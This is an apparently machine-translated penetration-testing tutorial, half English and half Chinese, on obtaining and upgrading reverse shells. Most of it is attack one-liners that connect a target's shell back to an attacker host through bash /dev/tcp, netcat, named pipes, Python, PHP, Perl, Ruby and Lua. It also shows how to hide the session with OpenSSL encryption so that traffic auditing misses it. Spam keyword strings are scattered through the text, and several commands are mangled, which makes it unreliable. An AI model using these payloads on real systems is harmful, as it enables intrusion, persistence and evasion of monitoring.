Home  >  Article  >  System Tutorial  >  In-depth understanding of shell: Common noun analysis and application scenarios in penetration

In-depth understanding of shell: Common noun analysis and application scenarios in penetration

王林
王林Original
2024-06-13 21:26:031174browse

深入了解 shell:渗透中常用名词解析及应用场景

What are shells

Shell is a commonly used noun in penetration, such as getshell, webshell, plummet shell, etc., all related to shell.

Shell explained by Baidu Encyclopedia:

In computer science, Shell is also called a shell (to distinguish it from the kernel), which refers to "providing an operating interface for users

face" software (command parser). It is similar to DOS and later

cmd.exe. It receives user commands and then calls the corresponding application.

Simply put, users access the services of the operating system kernel through the shell, that is, from the shell to the kernel to execute system commands.

getshell: Obtain the command execution permission of the target

webshell: refers to the website side doorlinux kernel sprintf, command execution through web service

Big drop shell: transfer the input and output of the command line to other hosts

Why should we drop the shell

1. There is no interaction when executing commands under webshell. In order to facilitate shelling or other operations, you must open the shell.

2. The rebound shell is equivalent to adding a side door. When the webshell is discovered and deleted, the permissions will not be lost.

Commonly used methods to crash the shell in Linux

Use the whereis command to determine the callback techniques supported by the target.

 whereis nc bash python php exec lua perl ruby

linux 内核 sprintf_内核sprintf_内核管理器

linux 内核 sprintf_内核sprintf_内核管理器

bash tumble shell

Bash callback is the most commonly used method in actual combat

nc -lvp 9999
bash -i >& /dev/tcp/ip/port 0>&1

Disassemble the command and analyze it:

1. bash-i means opening a bash locally

2. /dev/tcp/ is a special device in Linux. Opening this file is equivalent to issuing a socket call and building a socket connection

3. The file /dev/tcp/ip/port next to >& means redirecting the standard output and standard error output to this file, that is, passing it to the remote vps

4. If the remote vps opens the corresponding port to eavesdrop, it will receive the standard output and standard error output of this bash.

nc tumble shell

Requires nc to be installed on the target host

nc ip port -e /bin/sh

使用其他版本的nc

nc.traditional ip port -e /bin/sh

linux 内核 sprintf_内核管理器_内核sprintf

内核sprintf_linux 内核 sprintf_内核管理器

配合命名管线进行大跌:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc ip port >/tmp/f

python大跌shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

首先使用socket与远程构建起联接,接出来使用到了os库的dup2方式将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方式有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关掉fd2,之后将fd1代表的那种文件强行复制给fd2linux之家,在这儿可以把fd1和fd2看作是C语言里的表针,将fd1形参给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这儿也就是构建socket联接返回的文件描述符,复印下来数值为3

0代表标准输入、1代表标准输出、2代表标准错误输出、3代表重定向到远程

接出来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了。

php大跌shell

linux 内核 sprintf_内核sprintf_内核管理器

须要php关掉safe_mode选项,才可以使用exec函数。

使用php的exec函数执行方式1大跌shell的命令

php- 'exec("/bin/bash -i >& /dev/tcp/ip/port")'

使用php的fsockopen去大跌shell

php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i &3 2>&3");'

其它大跌方式

exec大跌

0<&196;exec 196/dev/tcp/ip/port; sh &196 2>&196

perl大跌

perl -e &#039;use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};&#039;

ruby大跌

ruby -rsocket -e&#039;f=TCPSocket.open("ip",port).to_i;exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)&#039;

lua大跌

lua -e "require(&#039;socket&#039;);require(&#039;os&#039;);t=socket.tcp();t:connect(&#039;ip&#039;,&#039;port&#039;);os.execute(&#039;/bin/sh -i &3 2>&3&#039;);"

内核管理器_linux 内核 sprintf_内核sprintf

获取一个完全交互shell

通过上述命令大跌shell得到的shell并不能称为完全交互的shell,一般称之为'哑'shell。

一般存在以下缺点

因而有必要去获取一个完全交互的shell。

1、在shell中执行python,使用pty模块,创建一个原生的终端,命令如下:

python -c &#039;import pty; pty.spawn("/bin/bash")&#039;

隐藏

运行完后

2、键入Ctrl-Z暂停任务,切回到VPS的命令行中;在VPS中执行:

stty raw -echo 
fg #将后台运行或挂起的任务切换到前台运行

内核管理器_内核sprintf_linux 内核 sprintf

3、在shell中执行,得到一个完全交互的shell,支持命令补全、历史命令查看、语法高亮、vim编辑等功能。

reset
export SHELL=bash
export TERM=xterm-256color
stty rows 54 columns 104

内核管理器_内核sprintf_linux 内核 sprintf

内核sprintf_linux 内核 sprintf_内核管理器

SSL流量加密

部份防护设备会对内外网传输流量进行审查,大跌shell执行命令都是以明文进行传输的linux 内核 sprintflinux 命令,很容易被查杀。

因而须要将原始流量使用openssl加密,绕开流量审计设备。

1、首先vps上生成SSL证书的私钥/公钥对,信息懒得填,仍然回车即可。

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

linux 内核 sprintf_内核sprintf_内核管理器

2、vps使用OpenSSL窃听一个端口

openssl s_server -quiet -key key.pem -cert cert.pem -port 8888

内核sprintf_linux 内核 sprintf_内核管理器

3、目标主机执行回调加密shell

mkfifo /tmp/s; /bin/bash -i &1 | openssl s_client -quiet -connect ip:port > /tmp/s; rm /tmp/s

内核sprintf_linux 内核 sprintf_内核管理器

大跌成功,成功接收到ssl流量加密的shell。

内核管理器_内核sprintf_linux 内核 sprintf

Reference link

The above is the detailed content of In-depth understanding of shell: Common noun analysis and application scenarios in penetration. For more information, please follow other related articles on the PHP Chinese website!

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn